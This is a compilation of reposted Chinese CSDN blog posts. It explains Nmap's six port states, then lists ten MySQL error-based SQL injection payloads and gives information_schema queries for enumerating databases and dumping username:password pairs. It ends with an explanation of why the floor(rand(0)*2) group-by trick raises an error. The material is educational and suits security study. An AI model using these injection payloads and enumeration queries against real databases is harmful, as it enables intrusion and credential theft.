NMAP六种端口状态解读

Nmap是一种用来发现网络中主机和服务的安全扫描工具,从而能够产生一个网络“地图”,为了完成这个功能,nmap会向每个目标主机发送特定的报文,从而从目标主机返回报文(或者无返回报文)来判断目标主机的属性(如:开放的端口,所使用的操作系统,操作系统的类型等信息)

本文主要讨论nmap对端口进行扫描中,当nmap向目标主机发送报文并根据返回报文从而认定端口的6种状态的含义(注意:这六种状态只是namp认为的端口状态,例如:有些主机或者防火墙会返回一些不可靠的报文从而妨碍nmap对端口开放问题的确认)。

Open:端口处于开放状态,例如:当nmap使用TCP SYN对目标主机某一范围的端口进行扫描时,我们知道 TCP SYN报文是TCP建立连接的第一步,所以,如果目标主机返回SYN+ACK的报文,我们就认为此端口开放了并且使用了TCP服务。

Closed:端口处于关闭状态。例如:TCP SYN类型的扫描,如果返回RST类型的报文,则端口处于管理状态。这里我们值得注意的是关闭的端口也是可访问的,只是没有上层的服务在监听这个端口,而且,只是在我们扫描的这个时刻为关闭,当我们在另一个时间段进行扫描的时候,这些关闭的端口可能会处于open的状态。

Filtered(过滤的):由于报文无法到达指定的端口,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文(例如:type为3,code为13(communication administratively prohibit)报文)或者目标主机无应答,常常会将目标主机的状态设置为filtered。

Unfiltered(未被过滤的),当nmap不能确定端口是否开放的时候所打上的状态,这种状态和filtered的区别在于:unfiltered的端口能被nmap访问,但是nmap根据返回的报文无法确定端口的开放状态,而filtered的端口直接就没就没能够被nmap访问。端口被定义为Unfilterd只会发生在TCP ack扫描类型时当返回RST的报文。而端口被定义为filtered 状态的原因是是报文被防火墙设备,路由器规则,或者防火墙软件拦截,无法送达到端口,这通常表现为发送NMAP的主机收到ICMP报错报文,如:TYPE为3,code为13的报文(通信被认为的禁止 communication administratively prohibited),或者主机通过多次重复发送没有收到任何回应)。

 Open|filtered状态,这种状态主要是nmap无法区别端口处于open状态还是filtered状态。这种状态只会出现在open端口对报文不做回应的扫描类型中,如:udp,ip protocol ,TCP null,fin,和xmas扫描类型。

  Closed|filtered状态,这种状态主要出现在nmap无法区分端口处于closed还是filtered时。此状态只会出现在IP ID idle scan(这个类型我现在也不太理解,过段时间进行总结一些)中。

作者:noviceCoder
来源:CSDN
原文:https://blog.csdn.net/novicecoder/article/details/52177234
版权声明:本文为博主原创文章,转载请附上博文链接!

十种MySQL报错注入

以下均摘自《代码审计:企业级Web代码安全架构》一书

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

mysql 5注入中group_concat的使用

mysql中的information_schema 结构用来存储数据库系统信息 

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。  

| SCHEMATA ――>存储数据库名的, 

|——>关键字段:SCHEMA_NAME,表示数据库名称 

| TABLES ――>存储表名的 

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示表的名称 

| COLUMNS ――>存储字段名的 

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 

TABLE_NAME表示所属的表的名称 

    COLUMN_NAME表示字段名 

可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。 

爆所有数据名 

select group_concat(SCHEMA_NAME) from information_schema.schemata 

得到当前库的所有表 

select group_concat(table_name) from information_schema.tables where table_schema=database() 

得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572 

select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 

得到字段具体的值 

select group_concat(username,0x3a,password) from adminuser

sql注入报错注入原理详解

前言
我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理,特此记录,也希望后来的小伙伴能够少走弯路

0x01
我们先来看一看现象,我这里有一个users表,里面有五条数据:

然后用我们的报错语句查询一下:

select count(),(concat(floor(rand()2),(select version())))x from users group by x

成功爆出了数据库的版本号。
要理解这个错误产生的原因,我们首先要知道group by语句都做了什么。我们用一个studetn表来看一下:

现在我们通过年龄对这个表中的数据进行下分组:

形成了一个新的表是吧?你其实应该能够想到group by 语句的执行流程了吧?最开始我们看到的这张sage-count()表应该时空的,但是在group by语句执行过程中,一行一行的去扫描原始表的sage字段,如果sage在sage-count()不存在,那么就将他插入,并置count()置1,如果sage在sage-count()表中已经存在,那么就在原来的count(*)基础上加1,就这样直到扫描完整个表,就得到我们看到的这个表了。

注:这里有特别重要的一点,group by后面的字段时虚拟表的主键,也就是说它是不能重复的,这是后面报错成功的关键点,其实前面的报错语句我们已经可以窥见点端倪了

0x02

正如我前面所说的,报错的主要原因时虚拟表的主键重复了,那么我们就来看一下它到底是在哪里,什么时候重复的。这里rand()函数就登场了。
首先我们先来了解rand()函数的用法:
1.用来生成一个0~1的数
2.还可以给rand函数传一个参数作为rand()的种子,然后rand函数会依据这个种子进行随机生成。
那他们的区别是什么呢?我们来看一下,这两个语句的执行效果:

可以看到rand()生成的数据毫无规律,而rand(0)生成的数据则有规律可循,是:
0110 0110
注:如果你觉得数据不够,证明不了rand()的随机性,你可以自己多插入几条数据再查询试一下。

0x03
现在我们弄清楚了group by语句的工作流程,以及rand()与rand(0)的区别,那么接下来就是重点了,mysql官方说,在执行group by语句的时候,group by语句后面的字段会被运算两次。
第一次:我们之前不是说了会把group by后面的字段值拿到虚拟表中去对比吗,在对比之前肯定要知道group by后面字段的值,所以第一次的运算就发生在这里。
第二次:现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!
所以我们现在通过一个例子来验证我们的理论,拿出我们最开始的例子:

select count(),(concat(floor(rand(0)2),’@’,(select version())))x from users group by x
1
声明:users表就是本文第一个表,表中有五条数据

注意我这里用的是rand(0),不是rand(),
rand(0)生成的有规律的序列:

我们跟着刚刚的思路走,最开始的虚拟表是空的,就像下面一样:

count() x 当我扫描原始表的第一项时,第一次计算,floor(rand(0)2)是0,然后和数据库的版本号(假设就是5.7.19)拼接,到虚拟表里去寻找x有没有x的值是x@5.7.19的数据项,结果显然是没有,那么接下来就将它插入到上表中,但是还记得吗,在插入之前会进行第二次计算,这时x的值就变成了1@5.7.19,所以虚拟表变成了下面这样:

count(*) x
1 1@5.7.19
现在扫描原始表的第二项,第一次计算x==’1@5.7.19‘,已经存在,不需要进行第二次计算,直接插入,得到下表:

count(*) x
2 1@5.7.19
扫描原始表的第三项,第一次计算x==‘0@5.7.19’,虚拟表中找不到,那么进行第二次计算,这时x==‘1@5.7.19’,然后插入,但是插入的时候问题就发生了,虚拟表中已经存在以1@5.7.19为主键的数据项了,插入失败,然后就报错了!

上面是使用rand(0)的情况,rand(0)是比较稳定的,所以每次执行都可以报错,但是如果使用rand()的话,因为它生成的序列是随机的嘛,所以并不是每次执行都会报错,下面是我的测试结果

执行了五次,报错两次,所以是看运气。

总结

总之,报错注入,rand(0),floor(),group by缺一不可

作者:灰色世界的阿信
来源:CSDN
原文:https://blog.csdn.net/he_and/article/details/80455884
版权声明:本文为博主原创文章,转载请附上博文链接!